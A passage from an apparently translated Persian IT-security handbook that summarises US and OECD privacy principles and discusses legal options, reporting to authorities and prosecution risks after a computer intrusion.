ايد كه در قبال استفادة نادرست از سيستمهايتان بر آنهـا           بسته

نظارت كند، امـا هوشـياري و مراقبـت خـود را نيـز از دسـت                 
تا آنجا كه ممكن است مراقـب باشـيد و سيـستمهاي            : ندهيد

شـوند،  تـر مـي     همچنانكه تهديدات پيچيده  . خود را قويتر كنيد   
شدن هستند نيز بايد ترقـي      كه مستعد قرباني  مدافعين و كساني  
  .و پيشرفت نمايند
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  فصل هشتم
  نويسي،قانون

  هاي دولتي، نامه تدوين آيين
  و سياستهاي حريم خصوصي

  كليات
ــدوين    ــر نحــوة ت در ايــن فــصل مــروري خــواهيم داشــت ب
سياستهاي عمـوميِ تجـاري بـراي مؤسـسات غيرانتفـاعي و            

ثالهـايي خـواهيم ديـد از       م. دولتي در دنياي متصل به شـبكه      
نويسي براي حفاظت شهروندان، مشتريان و كودكـان از          قانون

در بخـش   . سرقت هويت، كلاهبرداري و مطالب غيراخلاقـي      
 ١١٥فضاي سـايبر  چهارم بحث عميقتري دربارة مسائل قانوني       

در اين فصل تأكيد ما بيشتر روي مسئوليت        . مطرح شده است  
  .سازماني در فضاي عمومي است

  ط تجارت و مشتري در دنياي ديجيتالي رواب
بازرگانان اينترنتي اطلاعات زيادي از مـشتريان خـود بدسـت           

دانـد شـما درحـال      يك پايگاه فروش اينترنتـي مـي      . آورندمي
بررسي كدام محصول هـستيد؛ كـدام محـصول را بـه كـارت            

كنيد؛ و كـدام    افزاييد اما پس از مدتي حذف مي      خريد خود مي  
بازرگانــان . خريــد بــصورت اينترنتــي مــيمحــصول را نهايتــاً

دانند هنگام خريد در خانه هـستيد و يـا          اينترنتي همچنين مي  
تواننـد از باقيمانـدة اعتبـار كـارت         سرِ كار، و اگر بخواهند مي     
عـلاوه بـر آن بـرخلاف دنيـاي         . خريد شما نيز مطلـع شـوند      

تواند ميان سابقة خريـد     غيراينترنتي، يك بازرگان اينترنتي مي    
و عادتهاي گردش شما در اينترنت نيز ارتباط برقرار كند و بـا             

هاي مختلف طيف وسيعي از     برقراري چنين روابطي ميان داده    
  .مشتريان، به يكسري الگوهاي ارزشمند رفتاري پي ببرد

ISP هــا قادرنــد از ايــن هــم بيــشتر در مــورد مــشتري خــود
بينـد  اطلاعات كسب كنند؛ چراكه هرآنچه كاربرِ اينترنت مـي        

                                                                  
115  Cyberspace 

تواننـد   ها همچنين مـي   ISP. ها بگذرد ISPبايد ابتدا از رايانة     
پايگاههاي وبِ مورد استفادة كاربران خود و حتي مقالاتي كه          

آنهــا حتــي . انــد را تــشخيص دهنــدمــورد مطالعــه قــرار داده
هـاي الكترونيكـيِ افـراد را بـر حـسب كلمـات             توانند نامه  مي

بـا ردگيـري و     . اينـد كليدي بكاررفته در متن آنهـا تحليـل نم        
تواند بگويد كه مـثلاً آيـا        مي ISPتحليل اين اطلاعات، يك     

كاربرانش به سفر با قـايق علاقمنـد هـستند يـا بـه سـفر بـا                  
دهند يا خير؛ و آيا نسبت به درمـان         اتومبيل؛ به مد اهميت مي    

  .دهند يا نهبيماري خاصي علاقه نشان مي

  سياستهاي حريم خصوصي 
پردازنـد در   ي اينترنتي كه به تجـارت مـي       سازمانها و شركتها  

آوري اطلاعاتي كه امكـان تـشخيص هويـت و          رابطه با جمع  
آورد بايـد از چـه اسـتانداردهايي        شناسايي كاربر را بوجود مـي     

  تبعيت كنند؟

قـانون  كننده براي بار اول در        در ايالات متحده حقوق مصرف    
 اشـاره   صراحتاً مـورد  ) ۱۹۷۰مصوب سال    (١١٦گزارش اعتبار بازار  

كننـدگان را بـه      اين قانون حقوق اساسي مـصرف     . قرار گرفت 
شناخت؛ حقوقي چون حـق ملاحظـة گزارشـهاي         رسميت مي 

كننده توسط خود او، حق اطـلاع از اينكـه        اعتباري هر مصرف  
بيننـد، حـق الـزام    چه كساني گزارشات مربوط بـه وي را مـي         

باهات كنندة گزارشات به تحقيق در مورد اشـت       سازمانهاي تهيه 
كنندگان، و حق الـزام سـازمانها بـه         شده توسط مصرف  كشف
كردن يك اظهاريه از طـرف مـشتريان بـه گزارشـهاي            اضافه

هــاي  اي كــه داده  در دوره- ۱۹۷۳در ســال . مــورد مناقــشه
 بـراي   -هـا قـرار داشـتند         شخصي بيش از پيش روي رايانـه      

نامـة راهكارهـاي اطلاعـات      آيينكننده،    احقاق حقوق مصرف  
  . ابلاغ شد١١٧ازارب

  ١١٨نامة راهكارهاي اطلاعات بازارآيين
  :نامة راهكارهاي اطلاعات بازار بر پنج اصل استوار استآيين

هاي شخصي نبايـد      هيچ سيستمِ نگهداريِ سوابقِ داده     •
 .بصورت مخفي وجود داشته باشد

                                                                  
116  Fair Credit Reporting Act 
117  Code of Fair Information Practices 
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بايد راهي وجود داشته باشد كه هر كس بتواند اطـلاع            •
شود صي از وي ثبت مي    پيدا كند كه چه اطلاعات شخ     

 .و از آن اطلاعات چگونه استفاده خواهد شد

بايد راهي براي افراد وجود داشته باشـد كـه بتواننـد از              •
بكار رفتن اطلاعات شخصي خـود در اهـدافي غيـر از            

 .آنچه كه به آنها اعلام شده جلوگيري كنند

براي خود فرد بايد راهي براي اصـلاح اطلاعـاتي از او       •
 .شوند وجود داشته باشدايي وي ميكه باعث شناس

هاي شخـصي را       كه آندسته از سوابق داده      هر سازماني  •
كنـد كـه باعـث        تهيه، نگهداري، استفاده و پخش مـي      

ها در    شوند بايد قابليت اطمينان داده    شناسايي افراد مي  
كاربرد مـورد نظـر را تـضمين نمايـد و از مـورد سـوء                

 . كندها جلوگيري استفاده قرار گرفتن داده

كنگرة ايالات متحده به تصويب قوانيني كه كاربرد اطلاعـات          
بـا گذشـت زمـان،      . كـرد ادامـه داد      مند مي شخصي را ضابطه  

، سوابق اينترنت، سوابق مـشتركينِ      ، سوابق تلفن    سوابق بانكي 
كابلي، سوابق بهداشـتي، سـوابق تحـصيلي و حتـي             تلويزيون

حـت پوشـش    سوابق اجارة نوارهاي ويـدئويي همـه و همـه ت          
بـا اينحـال هـر جـزء        . ايِ ايالات متحده درآمدند     قانون كنگره 

كنـد و توسـط بخـش       قانون حفاظتهاي متفـاوتي ايجـاد مـي       
برخي جرائم مثـل    . شودمتفاوتي از نيروهاي دولتي اعمال مي     

نامة حـريم خـصوصي مـشتركين تلفـن و     آيينجرائمي كه در  
 ـ         مي ١١٩دورنگار ل گنجد، بدون شـكايت شـاكي خـصوصي قاب

بـر پايـة    . اما در اروپا مسائل طور ديگـري بـود        . پيگرد نبودند 
تجربــة جنــگ دوم جهــاني كــه در آن بــسياري از اطلاعــات 
شخصي توسط نازيها مورد سوء استفاده قـرار گرفـت، بيـشتر            

مند دول اروپايي ترجيح دادند از مؤسسات خاصي براي ضابطه        
. ده كنند آوري و استفاده از اطلاعات شخصي استفا        كردن جمع 

نامـة راهكارهـاي اطلاعـات    هاي مطرح در آييناروپاييان ايده 
 تعمـيم   ١٢٠ها  حفاظت داده بازار را به يك نظامِ كلي موسوم به         

  .دادند

                                                                  
119  Antijunk-Fax Telephone Consumer Privacy 

Act 
120  Data Protection 

  راهبردهاي سازمان
  همكاري و توسعة اقتصادي
 در سـال    ١٢١)OECD (سازمان همكـاري و توسـعه اقتـصادي       

ت و   يك رشته راهبردهاي حريم خصوصي را بكار گرف        ۱۹۸۰
سازي بخشي از اين راهبردها براي هماهنگ     . آنها را ارائه كرد   

ضوابط درحال افزايش حريم خصوصي در كشورهاي صـنعتي         
اين راهبردها بطور خـاص طراحـي شـده         . طراحي شده بودند  

 -هـا   بودند تا به مـشكلات روزافـزون جريـان فرامـرزي داده     
هاي شخصي در     حركت اطلاعات شخصي از كشوري كه داده      

آن به شدت تحت حفاظت قرار دارند به كـشوري ديگـر كـه              
 -هاي شخـصي در آن از حفاظـت كمتـري برخوردارنـد             داده

 در مــورد حفاظــت از حــريم OECDراهبردهــاي . بپردازنــد
ها از هـشت اصـل تـشكيل          خصوصي و جريان فرامرزي داده    

  :شده است

  ١٢٢آوري اصل محدوديت جمع
دوديت وجود  هاي شخصي بايد مح     آوري داده   براي جمع 
هر دادة شخصي بايد با استفاده از ابزارهاي        . داشته باشد 

قــانوني و منــصفانه، در شــرايط درســت، و بــا دانــش و 
شود بدست  رضايت فردي كه اطلاعات به او مربوط مي       

  .بيايد

  ١٢٣هااصل كيفيت داده
شده بايد مرتبط بـا هـدفي       آوريهاي شخصيِ جمع  داده

-ت اعلام شده و يا حوزه     كه براي استفاده از آن اطلاعا     
ها بايـد دقيـق،     اين داده . هاي مرتبط با آن هدف باشند     

  .روز نگهداري شوندكامل، و به

  ١٢٤اصل تعريف هدف
آوري اطلاعـات شخـصي بايـد در همـان          هدف از جمع  

. ها و نه ديرتر از آن مشخص باشد      آوري داده لحظة جمع 
 شـده بايـد بـه     آوريهاي بعدي از اطلاعات جمع     استفاده

همان اهداف محدود شـود؛ و اگـر هـدفهاي بعـدي بـا              
اهداف اوليه سازگاري ندارند بايد ايـن تغييـر اهـداف را            

                                                                  
121  Organization for Economic Cooperation & 

Development 
122  Collection Limitation Principle 
123  Data Quality Principle 
124  Purpose Specification Principle 
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صراحتاً اعـلام كـرد و نيـز اعـلام رضـايت فـرد بـراي                
  .استفاده از اطلاعات وي در اهداف جديد ضروري است

  ١٢٥اصل محدوديت استفاده
هاي شخصي نبايد افشا شـوند، در دسـترس عمـوم      داده
ر گيرند، يا براي اهدافي غير از آنچه كه اعلام شـده            قرا
 بكـار رونـد،     - همانطور كه در اصول قبل گفتـه شـد           -

  :مگر
o با رضايت فرديِ مالك اطلاعات؛ يا 
o با يك مجوز قانوني. 

  ١٢٦اصل حفاظهاي امنيتي
هاي شخصي بايد با حفاظهاي امنيتـي مناسـب در            داده

تخريب، مقابل خطراتي از قبيل ناقص شدن، دسترسي،        
  .تغيير، افشا، و استفادة غيرمجاز مراقبت شوند

  ١٢٧اصل باز بودن
بايد يك سياست كلي دربارة شـفاف بـودن راهكارهـا و         

هاي شخصي وجود داشته    سياستها با نگاه خاص به داده     
بايد ابزارهايي وجود داشته باشـند كـه بـه آسـاني            .  باشد

و هاي شخصي، هدف اصلي استفاده      بتوانند طبيعت داده  
  .همچنين مدت متعارف نگهداري از آنها را معين كنند

  ١٢٨اصل مشاركت فردي
  : هر كسي بايد اين حق را داشته باشد كه

o   ــدة ــاتي از وي در دســت گردآورن ــد اطلاع بفهم
 اطلاعات وجود دارد يا خير؛

o        در يـك   : با گردآورندة اطلاعات مربوط بـه خـود
اي ارزان، با روشي معقول،       زمان معقول، با هزينه   

 در   و در حالتي كه اطلاعات برايش شـفاف باشـد         
 ارتباط باشد؛

o         اگر يكي از درخواسـتهاي بـالا رد شـد بـراي آن
 دليل بخواهد و بتواند آنرا به چالش بكشد؛ و

                                                                  
125  Use Limitation Principle 
126  Security Safeguards Principle 
127  Openness Principle 
128  Individual Participation Principle 

o          بتواند دربارة اطلاعات مربوط به خود بحث كند و
اگر در بحث موفق شـد قـادر باشـد اطلاعـات را         

  .حذف، اصلاح و يا تكميل نمايد

  ١٢٩پاسخگويياصل 
هر گردآورندة اطلاعات بايد در قبـال عمـل بـه اصـول             

  .ذكرشدة بالا پاسخگو باشد

خـورد، امـا       اجبار قانون به چشم نمي     OECDدر راهكارهاي   
در عوض هنگام بررسي قوانين هريك از كشورهاي عـضو، از       

  .شوداين هشت اصل بعنوان راهبرد استفاده مي

در مـورد معيارهـاي     براي مشاهدة يك فهرست كنترل سـاده        
آوري اطلاعـات در     كه درصورت جمـع    -حفاظت از اطلاعات    

 -مورد مشتريان از روي پايگاه وب بايد از آنها اسـتفاده كـرد              
  .توانيد به فصل يازدهم از همين بخش كتاب مراجعه كنيدمي

  

  

                                                                  
129  Accountalility Principle 
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  فصل نهم
  اي جرائم رايانه

  كليات
موجـود  اميدواريم هيچوقت مجبور نشويد بر اساس اطلاعات        

ممكن است اين كتاب را با كوشـش        . در اين فصل عمل كنيد    
فراوان مطالعه كرده باشيد و همة گامهاي مهم در جهت حفظ       
امنيت سيستم خود را برداشته باشيد، اما با تمـام ايـن احـوال              
همچنان ممكن است سيستم شما مـورد سـوء اسـتفاده قـرار             

ا استفاده از يك    شايد فردي كه قبلاً كارمند شما بوده ب       . بگيرد
حساب قديمي به سيستم نفـوذ و بعـضي از سـوابق را حـذف               

عليرغم تمام تلاشهاي شما براي جلـوگيري از عمليـات          . كند
نفوذ، شايد فردي از يك كشور خارجي بتواند به سيستم شـما            

در اين شرايط شما چه مدركي براي ارائه به دادگاه          . وارد شود 
تـوان پرسـيد    بـر ايـن مـي     ؟ عـلاوه      در اختيار خواهيد داشـت    

كنيد، چه خطراتـي از  هنگامي كه از سيستم استفادة عادي مي   
كننـد؟ اگـر      جانب قانون و سيستم حقوقي شما را تهديـد مـي          

كنيد؟ اين فصل   هدف يك شكايت قانوني قرار بگيريد چه مي       
بـه آنچـه كـه در ايـن         . تلاش دارد اين مسائل را روشن كنـد       

هاي كلي توجه كـرد       وان توصيه فصل بيان شده صرفاً بايد بعن     
 و حقوقي؛ چراكه بـراي جزئيـات بيـشتر و            و نه مسائل قانوني   

مسائل ريزتر بايد از وكلاي خوب و مشاوران حقوقي مجـرب           
بخواهيـد بـر حــسب قـوانين كـشور محــل اقامتتـان شــما را      

  .راهنمايي كنند

  هاي حقوقي موجود در پي وقوع يك نفوذ گزينه

 اثر نفوذ دچار آسيب شوند ممكن اسـت         هاي شما در  اگر رايانه 
هـاي  در سيستم حقوقي و قانوني كشور محل اقامتتان گزينـه         
اين . متعددي وجود داشته باشد كه بتوانيد از آنها استفاده كنيد         

هاي مختلـف   تواند شما را در استفادة دقيق از جنبه       فصل نمي 
قانون ياري كنـد، چراكـه در قـوانين و سيـستمهاي حقـوقي              

لـذا در ايـن     . ي مختلف تفاوتهاي زيـادي وجـود دارد       كشورها
فصل بـه چيـزي فراتـر از قـوانين ايـالات متحـده نخـواهيم                

 با اينحال دسترسـي جهـاني بـه اينترنـت، وجـود             ١٣٠.پرداخت
انــد را قـوانيني كـه از داخــل ايـالات متحـده نــشأت نگرفتـه     

  .ضروري كرده است

 وكيـل   قبل از هرگونه تصميم به آغاز مراحل قانوني بـا يـك           
چون در اسـتفاده از رويكردهـاي قـانوني         . زبده مشورت كنيد  

خطرات و مشكلاتي وجـود دارد، بايـد قبـل از شـروع پيگـرد               
  .قانوني نسبت به انجام آن مطمئن باشيد

اي نداشته باشيد و ملـزم بـه        در برخي موارد ممكن است چاره     
  :مثلاً. انجام پيگرد قانوني باشيد

اي تنظيم كنيد     مه ادعانامه اگر بخواهيد براي شركت بي     •
تا خسارتي كه در اثر يك نفـوذ بـه شـما وارد شـده را                
جبران كند، ممكن است از جانب شركت بيمه ملزم به          

 .انجام پيگرد قانوني عليه نفوذگران شويد

اي را پـردازش    بندي شـده  اگر اطلاعات خاص و طبقه     •
كنيد ممكن است قوانين دولتـي شـما را ملـزم بـه               مي

قيقـات و ارائـه گـزارش در مـورد فعاليتهـاي            انجام تح 
 .مشكوك كنند

اگر از يك فعاليت غيرقانوني آگاه شويد و آنرا گـزارش            •
مـسئوليت  " معاونت در جرم  "نكنيد از نظر قانون بعنوان      

خواهيد داشت، بخصوص اگـر رايانـة شـما هـم در آن            
 .فعاليتهاي غيرقانوني مورد استفاده قرار گرفته باشد

 شـما بـراي انجـام كارهـاي غيرمجـاز و            اگر از رايانـة    •
نادرست استفاده شود و شما در قبال آن كـاري نكنيـد            
ممكن است به خاطر خرابيهاي ايجاد شده عليـه شـما           

 .شكايت كيفري صورت بگيرد

اگر مدير اجرايي يك شركت دولتـي باشـيد و تـصميم             •
بگيريد كـه فعاليتهـاي غيرقـانوني را تحـت پيگـرد و             

تواننـد    هامداران شركت شما مي   تجسس قرار ندهيد، س   
 .عليه شما اقامة دعوي كنند

                                                                  
تر در مورد مباحث حقوقي و قـانوني در ايـالات           يك مباحثة گسترده     ١٣٠

  :مشاهده كرد" ايجرائم رايانه"توان در كتاب  را ميمتحده
A Crimefighter's Handbook (O'Reilly) 

كنيم چنانچه در مورد مطالبي كه در اين فصل به آنهـا          ما توصيه مي  
كنيم به توضيحات بيشتري نياز داريد به اين كتاب مراجعه          اشاره مي 

هـاي   و نـسخه   هارسد، ولي كپي  كتاب فوق ديگر به چاپ نمي     . كنيد
  .قديمي آن موجود هستند
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 راهنماي امنيت فناوري اطلاعات ١٨٠

، حتـي     اگر مدير اجرايي يك شركت خـصوصي باشـيد         •
اگر شـركت فاقـد سـهامدار هـم باشـد ممكـن اسـت               

 بـسته بـه   -شركتهاي همكار، حاميان و يـا مـشتريان        
 از شـما شـكايت      -اي هـر كـشور      قوانين جرائم رايانه  

 .نمايند

دانيد كه سيستم شما به       كنيد و مي   اگر در يك شركت كار مي     
دارد قاعدتاً بايد بعنـوان بخـشي       شدت در معرض مخاطره قرار    

بـا مـشاور    ) قبـل از وقـوع رخـداد امنيتـي        (ريزي امنيتـي    از برنامه 
سازمانها بسته به دخالت يـا      . حقوقي سازمان خود گفتگو كنيد    

عدم دخالت نيروهاي انتظامي سياسـتهاي متفـاوتي را اتخـاذ           
شدن با تمرين فعاليتهاي زمان بحران، احتمال دنبال      . ندكن  مي

  .واقعي سياستها هنگامي كه به آنها نياز است را افزايش دهيد

بعنوان چند مقدمه براي شروع بحث، اين قسمت مـروري بـر            
 كه به احتمال قوي شما نيز روزي با آن مواجـه            -چند مسئله   

  : خواهد داشت-شويد مي

  تنظيم شكوائيه جزايي

ر ايالات متحده هر زمان كه احـساس كنيـد كـسي خـلاف              د
توانيد عليه او اقدام قانوني نماييد و ايـن           كرده مي   قانون  عمل  

روند بـا تنظـيم شـكوائيه قـضايي در مراجـع رسـمي شـروع                
شـود كـه بـر اسـاس       سپس از داديار اجازه گرفته مي     . شود مي

ه شده تحقيق بعمل آيد و اگر جرمي تشخيص داد        ادعاي انجام 
  .شد بر اساس آن يك دادخواست تنظيم شود

اي بـراي   در برخي و شايد اكثر موارد، تحقيقات جنايي نتيجـه         
چنانچه اعمال غيرقانوني انجام شده تكـرار       . شما در پي ندارد   

نشود و نفوذگر ردپايي از خود بـاقي نگذاشـته باشـد، يـا اگـر                
سيستم شما از يك كشور خـارجي مـورد حملـه قـرار گرفتـه               

، بسيار بعيد اسـت كـه بتوانيـد نفـوذگران را شناسـايي و               باشد
اي بندرت از خود رد پايي بـاقي          نفوذگران حرفه . دستگير كنيد 

  ١٣١.گذارند مي

. شود  تنظيم و ارائه شكوائيه لزوماً به تعقيب قضايي منجر نمي         
در مـورد   )  ايالتي يا محلي    در سطوح مختلف كشوري،   (داديار مربوطه   

جــرم، لــزوم همكــاري بازرســان قــانون نقــض شــده، شــدت 

                                                                  
اي باهوش هـستند    به اندازه واقعاً  كمي از نفوذگران    بسيار  البته تعداد      ۱۳۱

  .دكننكه خودشان فكر مي

بـه خـاطر    . گيـرد ديده و نوع محكوميت تـصميم مـي        آموزش
هاي گونـاگون      قضايي مملو از پرونده     داشته باشيد كه دستگاه   

هـاي جديـد      بنابراين احتمال انجام تحقيقات در پرونـده      . است
درصورتي وجود خواهد داشت كه مربوط به جرائم خاص و يـا            

 احتمــال انجــام تحقيقــات در مــثلاً. تهديــدات جــدي باشــند
 دلار داده از بين رفتـه، از يـك          ۲۰۰،۰۰۰اي كه در آن     پرونده

مورد كه در آن يكنفر مكرراً از طريق مـودم، رايانـة شخـصي              
  .كند بسيار بيشتر است شما را پويش مي

اطلاعات راجع به تحقيقات ممكن است به شما داده بشود يـا            
يقــات اطلاعــات حتــي ممكــن اســت در جريــان تحق. نــشود

 مثلاً درحاليكه بازرسـان شـديداً       -نادرست به شما ارائه گردد      
مشغول كار هستند به شما گفته شود هيچگونه تحقيقـاتي در           

  .كار نيست

اين امكان وجود دارد كه انجام تحقيقات، شما را در مـوقعيتي            
اگر افراد ناشناس به نفوذ خـود بـه سيـستم           . ناپايدار قرار دهد  

هند، ممكن است مراجع قانوني از شـما بخواهنـد          شما ادامه د  
كه سيستم خود را باز بگذاريد تا بازرسان اتصالات سيـستم را            

آوري مـدارك   رديابي كنند و براي دستگيري متهم بـه جمـع         
ــد ــد از    . بپردازن ــستم بع ــاي سي ــتن دره ــفانه بازگذاش متأس
شدن اينكه سيستم شما مورد سوء استفاده قرار دارد،          مشخص
كه نفوذگران از سيستم شما جهت انجـام خرابكـاري          درصورتي

تواند با يـك دادنامـة        روي سيستمهاي ديگر استفاده كنند مي     
ثالث شما را در مظان اتهام قـرار دهـد، چراكـه همكـاري بـا                

پـس  . نهادهاي قانوني مانع از وارد شدن اتهام به شما نيـست          
بهتر است قبل از پـذيرش چنـين مخـاطراتي جوانـب امـر را               

  .لاً بررسي كنيدكام

  تماس با مراجع مربوطه

اي بسته به اينكه چه نوع سيستم قانوني          در زمينة جرائم رايانه     
و جزائي در كشور شما وجود دارد ممكن است لازم باشد كـه             
اقدامات خاصي را جهت برقراري تماس با مسئولين محلي يـا         

هاي كلي آورده شـده       ذيلاً بعضي توصيه  . كشوري انجام دهيد  
ا طبيعتاً اگر آنها را طبق روشـهاي مناسـب كـشور خودتـان       ام

  .بكار ببريد تأثير بيشتري خواهند داشت

اگر امكان آن وجود داشـته باشـد بهتـر اسـت اول بـه              •
اگر مراجع استاني   .  مراجع محلي يا استاني مراجعه كنيد     

تشخيص دهند كه مسئله توسط عوامل كشوري بهتـر         
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 بـه شـما پيـشنهاد       تواند مورد تحقيـق قـرار گيـرد       مي
هرچنـد متأسـفانه    . كنند كه به آنها مراجعـه نماييـد         مي

اي بـه   برخي از دوايـر محلـيِ اجـراي قـوانين علاقـه           
ايـن  . استفاده از نيروي كمكيِ مأموران كشوري ندارند      

امر ممكن است سبب شود رخـداد امنيتـي مربـوط بـه        
 .شما بدرستي تحت تحقيقات قرار نگيرد

 بـه پيگيـري شـكايت شـما         مراجع محلي ممكن است    •
علاقة بيشتري داشته باشـند؛ چـون بـه احتمـال زيـاد             
مشكلي كه براي شما پيش آمده در كنار هزاران مـورد           

) به آن اندازه كـه در سـطح كـشوري وجـود دارد            (مشابه ديگر   
بنـابراين احتمـال بيـشتري وجـود خواهـد          . قرار نـدارد  

داشت كه مسئولان محلـي بـه مـشكل شـما اهميـت             
 .حتي اگر آن مشكل خيلي كوچك باشددهند؛ 

هرچند برخي از مسئولان محلي ممكن است در زمينة          •
اي مهارت زيادي داشته باشند، اما        رايانه و جرائم رايانه   

حتي در ايالات متحده هم عموماً مـسئولان محلـي از           
مسئولان ايـالتي و كـشوري تجربـة كمتـري دارنـد و             

ان سـخت   ممكن است انجام تحقيقات پيشرفته برايـش      
در عــوض بــسياري از ســازمانهاي كــشوري از . باشــد

توان آنها را بـه سـرعت         مندند كه مي    كارشناساني بهره 
  .وارد جريان حل مشكلات كرد

در ايالات متحده مقامـات ايـالتي نـسبت بـه مقامـات              •
كشوري علاقة بيـشتري بـه تعقيـب و كـشف جـرائم             

 از  دانيـد كـه   اگر مي . دهندجوانان و نوجوانان نشان مي    
جانب يك نوجوان كه در ايالـت خودتـان اقامـت دارد            

ايد بهتر است به مقامات محلـي         مورد حمله قرار گرفته   
گاهي اوقات هم بهتر است كه راههـاي        . رجوع نماييد 

پيگرد قانوني را كنار بگذاريد و مستقيماً بـا والـدين يـا             
يــا از يــك (معلمــين آن مهــاجم جــوان صــحبت كنيــد 

  ).واهيد اينكار را براي شما انجام دهدحقوقدان يا پليس بخ

  مخاطرات پيگرد متهمان
در استمداد از مراجع قانوني مشكلات بالقوة زيادي وجود دارد          
كه محدود به مسائلي چون تجربة كارِ آنها با رايانه و شبكه و             

گاهي اوقات ممكن اسـت     . شوداي نمي   يا تعقيب جرائم رايانه   
ي در زمينـة رايانـه ندارنـد        مراجعي كه اطلاعات و تجربة كاف     

. بمنظور درك نكات پرونده، شما را دعوت به همكاري نمايند         

 ممكن است از اطلاعات شما صـرفنظر كننـد         در حالات ديگر  
تا فقدان اطلاعات خود را بپوشانند و از زير سؤال رفتن اعتبار            

لازم به ذكر است كه در      . دواير اجراي قوانين جلوگيري نمايند    
موارد اين احتمال وجود دارد كه خود قرباني هم در          بسياري از   

يـك بـازرس باتجربـه در       .  فعاليتهاي جنايي نقش داشته باشد    
دنياي واقعي، به نظرات قرباني اطمينان كامل و بـي شـك و             

نمايد؛ و اين مسئله براي جرائم دنيـاي سـايبر هـم            شبهه نمي 
  .كندصدق مي

در فرآينـد تحقيـق     اگر از شما و كارمندانتان خواسته شد كـه          
براي كمك به شناخت موضـوع مـشاركت نمائيـد، اطمينـان            
يابيد كه اين عمل به دستور دادگاه انجام شده اسـت؛ چراكـه             
ــشتاق     ــه م ــد ك ــر بياي ــت بنظ ــن اس ــصورت ممك در غيراين

بهتر است كـه يـك شـخص بيطـرف را           . ايدشدن بوده  قرباني
ر اجـراي   براي همكاري با نمايندگان نيروهاي انتظامي و دواي       

  . قانون معرفي كنيد

منش و رفتار مجريان قانون گهگاه مـشكلات جـدي بوجـود            
ممكن است برخي تجهيزات شما به بهانـة بـازجويي          . آوردمي

 حتي  -يا كنترل براي مدتهاي غيرقابل توجيهي توقيف شوند         
اگـر شـما قربـاني      . اي باشـيد    اگر خود، قرباني يك جرم رايانه     

ايـد، معمـولاً    تي را خودتان گزارش كـرده     ايد و رخداد امني   بوده
كنند تا نارضايتي شما    مقامات شما را از تلاشهايشان مطلع مي      

با اينحـال اگـر نفـوذگران از كارمنـدان          . را به حداقل برسانند   
خودتان باشند و يا پاي مسائل حساسي چون اطلاعات رسمي          
و نظامي در ميان باشد، ممكن است شما نظـارتي روي روش            

سـازيتان تحـت    هـاي ذخيـره   ي كه سيـستمها و رسـانه      و مدت 
اين مشكل زماني حـادتر     . گيرند نداشته باشيد  بررسي قرار مي  

شود كه بازرسان پرونـده نيازمنـد همكـاري متخصـصاني             مي
اطمينان حاصل كنيد كـه     . خارج از دفاتر محلي خود نيز باشند      

ت زمان ايجاد وقفه در كار بدليل شرايط اجباري انجام تحقيقا         
نماييد؛ چراكه اين زمان و خسارتهاي ناشـي از         را محاسبه مي  

تواند بعنوان قسمتي از آسـيبهاي واردة هنگـام پيگـرد           آن مي 
دادخواسـتهايي كـه    (قرار گيرد و متعاقباً در هر دادخواست مـدني          

تواند عليه مهاجم و گاهي اوقات نيز عليه خـود دوايـر اجـراي قـوانين                مي
  .بكار رود) تنظيم شود

هـاي پـشتيبان از منـابع بـسيار بـا             ر جريان تحقيقات نسخه   د
عـلاوه بـر ايـن، درصـورت لـزوم          . رونـد ارزش به شـمار مـي     
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توانيد هنگاميكه سيستمهاي اصلي شما تحـت بازرسـي و            مي
  .آزمايش است، از سيستمهاي پشتيبان استفاده نماييد

وقتي با دواير اجراي قانون براي انجـام تحقيقـات همكـاري            
، ممكــن اســت در اثــر ســنگيني و ناكارآمــدي آن كنيــدمــي

. اي نـسبت بـه شـما منفـي شـود          تحقيقات، ديد جامعة رايانه   
 ديدگاهي منفي نسبت به مجريان قـانون         بيشتر كاربران رايانه  

دارند و اگر شما هم در آن جايگاه قرار بگيريد، اين احساسات            
 توانـد جايگـاه   چنين قـضاوتهايي مـي  . شود متوجه شما نيز مي 

شما را در انظار پايينتر از آنچه كه مـستحق آن هـستيد قـرار               
دهد و از همكاري شما نه تنها با آن تحقيقات بلكـه بـا سـاير       

 پـس از   علاوه بر ايـن   . فعاليتهاي تخصصي نيز جلوگيري كند    
يافتن بازرسي ممكن است آماج حملات الكترونيكـي يـا          پايان

  .ها قرار بگيريد ساير سوء استفاده

تارها مايـة تأسـفند، چراكـه بـه هـر حـال بـسياري از                اين رف 
اي هــستند و ممكــن اســت بــراي  بازرســان، دقيــق و حرفــه

جلوگيري از يك فعاليت مشكوك يا تهاجم دائمي، واقعـاً بـه            
تـوانيم    امـروز مـي   . بازرسيهاي موشكافانه نيـاز داشـته باشـند       

بگوييم كه اين مشكل در سالهاي اخير كمتر شده و نگرانيهـا            
به مرور  . ورد آن نسبت به دهة گذشته كاهش يافته است        در م 

 -زمان و با آگاهتر شدن مردم نسبت به خسارتهاي نفوذگران           
 انتظار اين اسـت كـه ايـن         -اندحتي آنها كه سوء نيتي نداشته     

احساسات منفي نسبت به مراجع قانوني از اين هـم كمرنگتـر            
  .شود

گيـري در   يمتوصية اكيد ما به شما اين است كه هنگام تـصم          
مورد درميان گذاشتن هرگونه مشكل امنيتيِ سيستم خـود بـا           
مراجع قانوني خوب فكر كنيد و جوانب امـر را مـورد بررسـي              

در بيشتر مواقع بهتـر اسـت بـسنجيد كـه در چـه              . قرار دهيد 
درصورتيكه واقعاً  : صورت مراجعه به مراجع قضايي لازم است      

ــده   ــرر ش ــل ض ــت داده و متحم ــزي را از دس ــا   چي ــد و ي اي
. آمده نيـستيد    درصورتيكه شخصاً قادر به كنترل وضعيت پيش      

بعضي اوقات هياهوي ناشي از يك اتفاق خطرنـاكتر از سـاير            
  .آيدخسارتهايي است كه در پي وقوع آن اتفاق به بار مي

پا بعد از اينكه تصميم به استمداد از مراجع قانوني گرفتيد از به           
در بعضي مـوارد دخالـت      . يزيدكردن هياهو در اين زمينه بپره     

تواند عامل دلسردي نفوذگران باشد، امـا در          مراجع قانوني مي  
توانـد شـما را در كـانون توجـه آنهـا و               بعضي موارد نيـز مـي     

آگاه باشيد كه ممكن اسـت      . درنتيجه حملات بيشتر قرار دهد    

تـر باشـد كـه        مشكل فعلي شما جزئي از يك مشكل گسترده       
ست و لذا درصورتيكه بدرستي آنـرا       درحال توسعه و گسترش ا    

مديريت نكنيد باعث وارد آمدن آسيبهاي فراوانـي بـه شـما و             
  . ديگران شود

. منديم كه خوشبينانه بـه ايـن موضـوع نگـاه كنـيم            ما علاقه 
مراجع قانوني بطور كلـي از نيـاز بـه ارتقـاي سـطح خـود در                 

 اي اطلاع دارند و معمولاً در تلاشـند كـه           بررسي جرائم رايانه  
